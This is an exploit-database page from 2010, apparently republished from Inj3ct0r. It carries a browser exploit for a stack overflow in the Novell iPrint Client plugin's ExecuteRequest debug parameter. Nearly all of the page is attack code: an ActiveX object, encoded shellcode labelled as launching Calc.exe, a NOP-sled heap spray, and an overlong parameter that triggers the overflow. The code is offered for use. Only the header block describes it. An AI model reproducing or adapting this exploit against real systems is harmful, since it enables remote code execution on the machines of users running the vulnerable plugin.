Home / os / win7

[remote exploits] - Novell iPrint Client Browser Plugin Exec

Posted on 14 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: remote exploits | Exploit author: Striker7' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>==================================================================
Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter
==================================================================

  Title            :  Novell iPrint Client Browser Plugin ExecuteRequest debug Parameter Stack Overflow
  Version          :  iPrint Client plugin v5.32 (XP SP3)
  Analysis         :  http://www.abysssec.com
  Vendor           :  http://www.Novell.com
  Impact           :  Critical
  Contact          :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter          :  @abysssec
  MOAUB Number     : 
--&gt;
&lt;object ID=&#039;target&#039; classid=&#039;clsid:36723f97-7aa0-11d4-8919-ff2d71d0d32c&#039;&gt;
 
&lt;/object&gt;
&lt;script &gt;
     
     // Calc.exe
     shellcode = unescape(&#039;%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395&#039;+
                    &#039;%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1&#039;+
                    &#039;%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e&#039;+
                    &#039;%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5&#039;+
                    &#039;%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f&#039;+
                    &#039;%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5&#039;+
                    &#039;%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525&#039;+
                    &#039;%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e&#039;);
                       
     nops=unescape(&#039;%u9090%u9090&#039;);
     headersize =20;
     slackspace= headersize + shellcode.length;
     while(nops.length&lt; slackspace) nops+= nops;
     fillblock= nops.substring(0, slackspace);
     block= nops.substring(0, nops.length- slackspace);
     while( block.length+ slackspace&lt;0x50000) block= block+ block+ fillblock;
     memory=new Array();
     for( counter=0; counter&lt;200; counter++) memory[counter]= block + shellcode;
     ret=&#039;&#039;;
     for( counter=0; counter&lt;=250; counter++) ret+=unescape(&quot;%0a%0a%0a%0a&quot;);    
    op = &quot;op-client-interface-version&quot;;
    dbg = &quot;debug=&quot;;
    target.ExecuteRequest (op, dbg+ret);
     
&lt;/script&gt;
&lt;html&gt;
 
&lt;/html&gt;


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-14]</pre></body></html>

 

TOP

Malware :

Exploits :